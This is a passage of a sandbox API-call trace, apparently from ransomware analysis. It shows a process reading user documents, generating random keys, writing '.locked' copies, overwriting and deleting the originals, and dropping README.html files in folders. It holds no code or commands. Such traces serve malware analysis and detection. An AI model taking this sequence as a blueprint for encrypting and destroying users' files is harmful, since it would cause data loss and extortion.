	[0073.402] WriteFile (in: hFile=0xc4, lpBuffer=0x123d1000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x123d1000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0073.404] SetEvent (hEvent=0x8c) returned 1
	[0073.404] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x1165e, lpOverlapped=0x0) returned 1
	[0073.406] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x1165e, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x1165e, lpOverlapped=0x0) returned 1
	[0073.407] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0073.407] CloseHandle (hObject=0xc4) returned 1
	[0073.409] CloseHandle (hObject=0xc0) returned 1
	[0073.409] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0073.409] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.409] SetEvent (hEvent=0x8c) returned 1
	[0073.409] SetEvent (hEvent=0x78) returned 1
	[0073.410] SetEvent (hEvent=0xb4) returned 1
	[0073.410] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.410] SetEvent (hEvent=0xb4) returned 1
	[0073.410] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc080*, nNumberOfCharsToWrite=0x3f, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x123bc080*, lpNumberOfCharsWritten=0x127ee8a0*=0x3f) returned 1
	[0073.412] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FpBJs9T0l nBN.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fpbjs9t0l nbn.docx")) returned 1
	[0073.430] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.430] SetEvent (hEvent=0xa8) returned 1
	[0073.430] SetEvent (hEvent=0x78) returned 1
	[0073.435] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.435] SetEvent (hEvent=0x78) returned 1
	[0073.435] SetEvent (hEvent=0xb4) returned 1
	[0073.435] SetEvent (hEvent=0x8c) returned 1
	[0073.435] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.436] SetEvent (hEvent=0x8c) returned 1
	[0073.437] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.437] SetEvent (hEvent=0x8c) returned 1
	[0073.438] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.438] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.438] SetEvent (hEvent=0x8c) returned 1
	[0073.438] SetEvent (hEvent=0xb4) returned 1
	[0073.438] SetEvent (hEvent=0x78) returned 1
	[0073.438] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.438] SetEvent (hEvent=0x78) returned 1
	[0073.439] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FpBJs9T0l nBN.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fpbjs9t0l nbn.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0073.439] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0073.440] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0073.455] CloseHandle (hObject=0xc0) returned 1
	[0073.465] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FpBJs9T0l nBN.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fpbjs9t0l nbn.docx")) returned 1
	[0073.476] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JD48gNU5dunhkE8.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jd48gnu5dunhke8.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ecc7940, ftCreationTime.dwHighDateTime=0x1d4ed63, ftLastAccessTime.dwLowDateTime=0xe605f9f0, ftLastAccessTime.dwHighDateTime=0x1d5170e, ftLastWriteTime.dwLowDateTime=0xe605f9f0, ftLastWriteTime.dwHighDateTime=0x1d5170e, nFileSizeHigh=0x0, nFileSizeLow=0x15394)) returned 1
	[0073.476] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JD48gNU5dunhkE8.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jd48gnu5dunhke8.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0073.476] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0073.476] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JD48gNU5dunhkE8.xlsx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jd48gnu5dunhke8.xlsx.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0073.477] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0073.477] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c280 | out: pbBuffer=0x1238c280) returned 1
	[0073.477] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127961e0 | out: pbBuffer=0x127961e0) returned 1
	[0073.477] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc281 | out: pbBuffer=0x123bc281) returned 1
	[0073.477] WriteFile (in: hFile=0xc4, lpBuffer=0x123d1000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x123d1000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0073.479] SetEvent (hEvent=0xb4) returned 1
	[0073.480] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x15394, lpOverlapped=0x0) returned 1
	[0073.482] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x15394, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x15394, lpOverlapped=0x0) returned 1
	[0073.484] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0073.484] CloseHandle (hObject=0xc4) returned 1
	[0073.485] CloseHandle (hObject=0xc0) returned 1
	[0073.486] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.486] SetEvent (hEvent=0xb4) returned 1
	[0073.486] SetEvent (hEvent=0x78) returned 1
	[0073.486] SetEvent (hEvent=0x8c) returned 1
	[0073.486] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.487] SetEvent (hEvent=0xa8) returned 1
	[0073.487] SetEvent (hEvent=0x8c) returned 1
	[0073.487] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x41, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee8a0*=0x41) returned 1
	[0073.489] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JD48gNU5dunhkE8.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jd48gnu5dunhke8.xlsx")) returned 1
	[0073.507] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.507] SetEvent (hEvent=0xa8) returned 1
	[0073.507] SetEvent (hEvent=0x78) returned 1
	[0073.511] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.512] SetEvent (hEvent=0x78) returned 1
	[0073.512] SetEvent (hEvent=0x8c) returned 1
	[0073.512] SetEvent (hEvent=0xb4) returned 1
	[0073.512] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.512] SetEvent (hEvent=0xb4) returned 1
	[0073.514] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.514] SetEvent (hEvent=0xb4) returned 1
	[0073.514] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.514] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.514] SetEvent (hEvent=0xb4) returned 1
	[0073.515] SetEvent (hEvent=0x8c) returned 1
	[0073.515] SetEvent (hEvent=0x78) returned 1
	[0073.515] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.515] SetEvent (hEvent=0x78) returned 1
	[0073.515] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JD48gNU5dunhkE8.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jd48gnu5dunhke8.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0073.516] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0073.516] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0073.533] CloseHandle (hObject=0xc0) returned 1
	[0073.541] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JD48gNU5dunhkE8.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jd48gnu5dunhke8.xlsx")) returned 1
	[0073.550] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my music"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0073.551] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my music"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0073.551] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x127ee93c | out: lpFindFileData=0x127ee93c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0073.551] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc180*, nNumberOfCharsToWrite=0x3d, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x123bc180*, lpNumberOfCharsWritten=0x127ee8a0*=0x3d) returned 1
	[0073.553] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my music.locked")) returned 0
	[0073.553] GetProcAddress (hModule=0x76c20000, lpProcName="RemoveDirectoryW") returned 0x76cb44cf
	[0073.553] RemoveDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my music.locked")) returned 0
	[0073.553] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my pictures"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0073.556] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes"), fInfoLevelId=0x0, lpFileInformation=0x123fc1e8 | out: lpFileInformation=0x123fc1e8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0073.556] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0073.556] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0073.557] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.557] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0073.557] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites.vss", cAlternateFileName="FAVORI~1.VSS")) returned 1
	[0073.557] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1
	[0073.557] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0073.557] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0073.557] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0073.559] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed30 | out: lpMode=0x127eed30) returned 0
	[0073.559] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed20, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eed20*=0xc5a, lpOverlapped=0x0) returned 1
	[0073.560] CloseHandle (hObject=0xc0) returned 1
	[0073.560] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268a000*, nNumberOfCharsToWrite=0x4c, lpNumberOfCharsWritten=0x127ee8b0, lpReserved=0x0 | out: lpBuffer=0x1268a000*, lpNumberOfCharsWritten=0x127ee8b0*=0x4c) returned 1
	[0073.561] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss"), fInfoLevelId=0x0, lpFileInformation=0x123fc378 | out: lpFileInformation=0x123fc378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0073.562] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private"), fInfoLevelId=0x0, lpFileInformation=0x123fc3c8 | out: lpFileInformation=0x123fc3c8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0073.562] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0073.562] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x127ef8b4 | out: lpFindFileData=0x127ef8b4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0073.562] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.562] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1
	[0073.562] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0073.562] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0073.562] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0073.562] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeccc | out: lpMode=0x127eeccc) returned 0
	[0073.563] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0c80*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eecbc, lpOverlapped=0x0 | out: lpBuffer=0x126f0c80*, lpNumberOfBytesWritten=0x127eecbc*=0xc5a, lpOverlapped=0x0) returned 1
	[0073.564] CloseHandle (hObject=0xc0) returned 1
	[0073.564] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1250a000*, nNumberOfCharsToWrite=0x55, lpNumberOfCharsWritten=0x127ee84c, lpReserved=0x0 | out: lpBuffer=0x1250a000*, lpNumberOfCharsWritten=0x127ee84c*=0x55) returned 1
	[0073.565] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), fInfoLevelId=0x0, lpFileInformation=0x123fc468 | out: lpFileInformation=0x123fc468*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6)) returned 1
	[0073.565] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fc4b8 | out: lpFileInformation=0x123fc4b8*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8)) returned 1
	[0073.566] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my videos"), fInfoLevelId=0x0, lpFileInformation=0x123fc508 | out: lpFileInformation=0x123fc508*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
